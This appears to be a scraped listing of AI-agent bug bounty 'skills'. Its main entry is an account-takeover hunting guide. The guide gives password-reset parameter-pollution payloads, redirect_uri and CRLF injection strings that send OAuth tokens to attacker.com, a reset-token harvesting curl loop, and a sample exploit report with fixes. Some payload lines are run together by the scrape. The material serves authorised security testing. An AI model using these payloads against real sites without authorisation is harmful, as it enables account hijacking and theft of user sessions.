Probe subdomain list with httpx/dnsx/naabu to identify live hosts, open ports, status codes, titles, and basic fingerprints. Use after subdomain-enum produces a sub list. Output feeds into fingerprinting and content discovery.
中文简介正在准备中。当前显示原文说明。
Hunt full Account Takeover (ATO) by chaining lower-severity findings — IDOR-to-email-disclosure, password-reset-token-theft, OAuth-redirect-uri abuse, response-manipulation, cookie scope, CRLF in Set-Cookie, race-condition on signup. Use when the user wants to escalate small findings to ATO or thinks an ATO path exists.
中文简介正在准备中。当前显示原文说明。
实测评分 未实测
查看安装方法安装前可以查看交给 AI 代理的指令内容。
ATO = Critical = $$$$. Find the small bugs that chain into it.
Trigger phrases:
POST /reset {"email":"victim@x.com","cc":"attacker@x.com"}redirect_uri accepts attacker domain → token sent thereredirect_uri partial match → target.com.attacker.comstate not validated → CSRF-style victim binds attacker's OAuth to victim's session{"verified": true, "user_id": X} → swap user_id200 OK to redirect into authenticated stateSecure → MITMHttpOnly → XSS reads sessiondomain=.target.com from evil.target.com (subdomain takeover lets you read root cookies)Secure → CSRF-likeemail claim mutable → server trusts → ATO
See [[jwt-attacks]].?next=foo%0d%0aSet-Cookie:%20session=evilFrom your [[threat-modeling-mindmap]] output:
/login, /sso/*, /oauth/*/register, /signup/reset, /forgot-password, /reset-confirm/2fa/*/account/email, /profile/update-email/logout/api/auth/*, /api/me, /api/user/me/oauth/authorize, /oauth/token/callback, /oauth-callbackPOST /reset {"email":"you@x.com","email":"victim@x.com"}POST /reset {"email":["you@x.com","victim@x.com"]}GET /reset/token/by-user-id/12346# Quick scripted reset token analysis
for i in {1..10}; do
curl -s -X POST https://target.com/reset \
-H "Content-Type: application/json" \
-d '{"email":"you+'$i'@example.com"}'
# Capture each token from email
done
# Are tokens sequential? Predictable? Short?
See [[oauth-oidc]] for full coverage.
/oauth/authorize?redirect_uri=... requestredirect_uri=https://attacker.comredirect_uri=https://target.com.attacker.comredirect_uri=https://target.com@attacker.comredirect_uri=//attacker.comstate removal: does the callback still accept?When you find:
.target.com → session theftBuild a chain table:
A1. IDOR /api/user/{id}/email → leaks victim email
A2. POST /reset {"email":<victim>} → sends reset link
A3. Reset link goes to victim, BUT
A4. We're now able to spam unlimited reset requests
A5. Combined with cleartext email logs in S3 (bug #2) → token leaked
A6. Attacker uses token → ATO
OR:
B1. Open redirect at /redirect?url=<attacker>
B2. OAuth callback at /oauth/callback uses ?redirect_uri=
B3. We craft /oauth/authorize?redirect_uri=https://target.com/redirect?url=https://attacker.com
B4. Victim logs in via Google
B5. Token redirects to attacker.com
B6. Attacker uses token → ATO
| Chain | Sev | Notes |
|---|---|---|
| IDOR (email) + email-only-reset | Critical | Most common ATO pattern |
| Open redirect + OAuth callback | Critical | [[oauth-oidc]] |
| XSS + cookie not HttpOnly + cookie scoped wide | Critical | Classic |
| Response manipulation (2FA bypass) | Critical | Less common but ☠️ |
Subdomain takeover + cookie scope .target.com | High | Steal session via XSS on takeover sub |
| JWT alg=none + email claim used | Critical | [[jwt-attacks]] |
| CRLF in Set-Cookie + victim follows link | High | OK if Set-Cookie comes from input |
| Race condition on signup | High | Hijack pending account confirmation |
## Critical: Account Takeover via OAuth redirect_uri + open redirect chain
### Summary
By chaining an open redirect on /redirect?url= with a permissive OAuth redirect_uri validator, an attacker can hijack any user's account on app.target.com after the victim clicks an attacker-supplied link.
### Steps to reproduce
1. Attacker hosts a malicious page at `https://attacker.com/grab.html` that logs the token from URL fragment.
2. Attacker sends victim:
https://app.target.com/oauth/authorize? client_id=XYZ& response_type=token& redirect_uri=https://app.target.com/redirect?url=https://attacker.com/grab.html
3. Victim, logged in, sees a target.com URL → trusts → clicks
4. Target validates `redirect_uri` starts with `https://app.target.com` ✓
5. Issues OAuth token, redirects to `/redirect?url=...`
6. `/redirect?url=https://attacker.com/grab.html` returns 302
7. Browser follows → token reaches attacker.com via URL fragment
8. Attacker uses token: full session as victim
### Impact
- Full account takeover for any logged-in user who clicks the link
- No prerequisite credentials needed
- Token includes scope for full profile, billing, and project access
### Reproduction artifacts
- HAR file: attached
- Screencast: attached
- Test accounts: provided
### Suggested fix
1. Strictly whitelist `redirect_uri` to exact registered URIs (no subpath matching)
2. Remove or sanitize `/redirect?url=` to disallow off-domain redirects
[[idor-hunting]] — IDOR is the most common ATO precursor[[xss]] — XSS + cookie access = ATO if cookie not HttpOnly[[oauth-oidc]] — OAuth-specific chains[[jwt-attacks]] — JWT-based ATO[[business-logic]] — race conditions, workflow bypass[[hackerone-reporting]] — ATO report template (impact framing matters)| Type | Severity | Typical bounty |
|---|---|---|
| Self-only "ATO" (no real impact) | N/A | $0 |
| Targeted ATO requiring complex social engineering | High | $1k-3k |
| Targeted ATO via 1-click link | Critical | $5k-15k |
| Mass ATO (no user interaction, no targeting) | Critical | $10k-50k |
| Persistent ATO via password reset abuse | Critical | $5k-25k |
| ATO of admin / privileged user | Critical (escalate severity) | $10k-50k |
When you find a finding, ask: "what's the worst this gets to?" Often you can chain on paper before testing.
E.g., "IDOR on /reset/token-lookup → if real, that's email-based ATO → critical." Now you know the upside before spending time on PoC.
还没有评价。欢迎分享你的使用感受。
无需登录即可发表。欢迎分享使用感受、提问,或说明在哪些环境下无法运行。
还没有评论。来写第一条吧。
Probe subdomain list with httpx/dnsx/naabu to identify live hosts, open ports, status codes, titles, and basic fingerprints. Use after subdomain-enum produces a sub list. Output feeds into fingerprinting and content discovery.
中文简介正在准备中。当前显示原文说明。
Hunt authentication and authorization bypasses — forced browsing, path traversal in auth, header injection, JWT downgrade, OAuth state confusion, role manipulation. Use when an endpoint returns 401/403 but appears reachable.
中文简介正在准备中。当前显示原文说明。
Write Bugcrowd-format reports — VRT (Vulnerability Rating Taxonomy) mapping, P1-P5 severity, impact-led writing, and Bugcrowd-specific submission etiquette. Use AFTER triage-validation passes for Bugcrowd programs.
中文简介正在准备中。当前显示原文说明。
Hunt business logic flaws — race conditions, workflow state bypass, parameter pollution affecting logic, coupon/discount abuse, refund logic, multi-step process bypass, integer overflow, negative quantities, double-spend. Use when looking for non-CVE bugs that require understanding the app's intended workflow.
中文简介正在准备中。当前显示原文说明。
Hunt web cache poisoning, CDN cache poisoning, and cache deception attacks. Use when target uses a CDN (Cloudflare, Akamai, Fastly, AWS CloudFront) or has Varnish/nginx caches and you want to identify cache key flaws that let attackers serve malicious content to other users.
中文简介正在准备中。当前显示原文说明。
Hunt cloud misconfigurations exposed externally — open S3/GCS buckets, exposed IAM-tied EC2 metadata, Cognito misconfig, GitHub Actions secret leakage, exposed Kubernetes API, public Elastic / Kibana / Mongo, Firebase RTDB rules, weak AWS access keys discovered in JS/mobile. Use when leveraging leaked credentials or hunting cloud surface in scope.
中文简介正在准备中。当前显示原文说明。